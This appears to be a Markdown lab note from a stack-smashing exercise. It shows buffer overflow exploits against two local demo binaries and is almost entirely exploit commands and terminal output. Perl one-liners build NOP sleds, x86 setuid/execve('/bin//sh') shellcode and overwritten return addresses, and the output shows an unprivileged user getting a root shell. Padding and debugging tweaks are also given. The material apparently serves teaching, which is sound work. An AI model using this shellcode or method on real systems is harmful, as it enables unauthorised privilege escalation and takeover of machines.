43 lines
2.4 KiB
Markdown
43 lines
2.4 KiB
Markdown
|
## Demo
|
||
|
|
|
||
|
|
Make sure to point at the shellcode in the commandline, NOT the copied shellcode as that gets mangled. Or pad the shellcode with 20 bytes at the end and make the starter NOP-sled shorter.
|
||
|
|
|
||
|
|
```
|
||
|
|
atl.HA95-mHA95:wwouts_smash:/smash $ id
|
||
|
|
uid=48350(atl.HA95) gid=9999(ATLAS) groups=9999(ATLAS)
|
||
|
|
atl.HA95-mHA95:wwouts_smash:/smash $ ./demo `perl -e 'print "\x90"x91 . "\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x2e\x58\x53\xcd\x80\x31\xd2\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" ."XXXX". "\x30\xcb\xff\xff"'`
|
||
|
|
sh-4.4# id
|
||
|
|
uid=0(root) gid=0(root) groups=0(root),9999(ATLAS)
|
||
|
|
sh-4.4# exit
|
||
|
|
```
|
||
|
|
|
||
|
|
```
|
||
|
|
atl.HA95-mHA95:wwouts_smash:/smash $ ./demo `perl -e 'print "\x90"x75 . "\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x2e\x58\x53\xcd\x80\x31\xd2\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" . "X"x20 . "\x30\xcb\xff\xff"'`
|
||
|
|
```
|
||
|
|
|
||
|
|
|
||
|
|
## DIY
|
||
|
|
|
||
|
|
```
|
||
|
|
export BLAA=`perl -e 'print "\x90"x213 . "\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x2e\x58\x53\xcd\x80\x31\xd2\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`
|
||
|
|
|
||
|
|
gdb ./diy
|
||
|
|
|
||
|
|
atl.HA95-mHA95:wwouts_smash:/smash $ perl -e 'print "X"x250 . "" . "XXXX" . "\x24\xdc\xff\xff" . "CCCCDDDDEEEE\n";' >foo.txt
|
||
|
|
atl.HA95-mHA95:wwouts_smash:/smash $ cat foo.txt |./diy
|
||
|
|
What's your name?
|
||
|
|
Hello, XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX$▒▒▒CCCCDDDDEEEE
|
||
|
|
atl.HA95-mHA95:wwouts_smash:/smash $ (cat foo.txt;cat) |./diy
|
||
|
|
What's your name?
|
||
|
|
Hello, XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX$▒▒▒CCCCDDDDEEEE
|
||
|
|
ls
|
||
|
|
demo diy foo.txt setup.sh shellcode.txt shellcode2.txt
|
||
|
|
id
|
||
|
|
uid=0(root) gid=0(root) groups=0(root),9999(ATLAS)
|
||
|
|
|
||
|
|
|
||
|
|
```
|
||
|
|
|
||
|
|
Test without the dodgy push EBX
|
||
|
|
atl.HA95-mHA95:wwouts_smash:/smash $ ./demo `perl -e 'print "\x90"x91 . "\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x2e\x58\x90\xcd\x80\x31\xd2\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" ."XXXX". "\xdc\xcd\xff\xff" . "\xdc\xcd\xff\xff" . "\xdc\xcd\xff\xff" . "BBBBCCCC"'`
|